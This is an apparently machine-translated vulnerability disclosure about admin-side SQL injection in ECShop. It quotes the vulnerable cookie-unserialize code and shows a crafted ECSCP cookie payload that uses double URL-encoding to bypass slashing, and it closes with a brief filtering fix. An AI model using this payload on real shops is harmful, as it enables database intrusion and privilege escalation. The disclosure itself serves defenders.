For SQL injection in the background, almost all functional blocks in the background can be injected using this method. After Entering the background, you can use this method to increase your permissions. Of course, "Go to the backend" has made this vulnerability quite messy, you know ~~~
$ Filter = unserialize (urldecode ($ _ COOKIE ['ecscp '] ['lastfilter']);
This sentence is the core. Does urldecode see it? So, as long as % 27 and % 2527 can bypass the addslashes_deep for $ _ COOKIE in init. php ~~~
Two places:
1. Order Details
/Admin/order. php // row 158
$ Filter = unserialize (urldecode ($ _ COOKIE ['ecscp '] ['lastfilter']);
2. The get_filter () method used in almost all functional block lists in the background
/Admin/shortdes/lib_main.php // 718 rows
Function get_filter ($ param_str = '') {$ filterfile = basename (PHP_SELF ,'. php '); if ($ param_str) {$ filterfile. = $ param_str;} if (isset ($ _ GET ['uselastfilter']) & isset ($ _ COOKIE ['ecscp '] ['lastfilterfile']) & $ _ COOKIE ['ecscp '] ['lastfilterfile'] = sprintf (' % x', crc32 ($ filterfile) // although this is troublesome, but you can control {return array ('filter' => unserialize (urldecode ($ _ COOKIE ['ecscp '] ['lastfilter']), // For details, see 'SQL' => base64_decode ($ _ COOKIE ['ecscp '] ['lastfiltersql']);} else {return false ;}}
Let's take a look at the vulnerability proof below ~~
Order details. This is better.
For the get_filter method, use the article list for testing. It may be difficult to meet the trigger conditions. In a simple method, the condition "=" is output by echo on the side that you cannot control, then, just change the side of the control (I am not talking about it, right ?)
Related code (list of articles for testing)
GET: http: // localhost/test/ecshop/admin/article. php? Is_ajax = 1 & uselastfilter = 1 POST: act = query & keyword = & cat_id = 0 COOKIE: ECSCP [lastfilterfile] = 23A0E66; ECSCP [lastfilter] = a % 253A1% 253A % 257Bs % 253A5% 253A % 2522 start % 2522% 253Bs % 253A2% 253A % 25221% 2527% 2522% 253B % 257D; // modify the cookie
How can I find SQL injection in the background with this?
Solution:
Filtering before entering SQL statements is the most reliable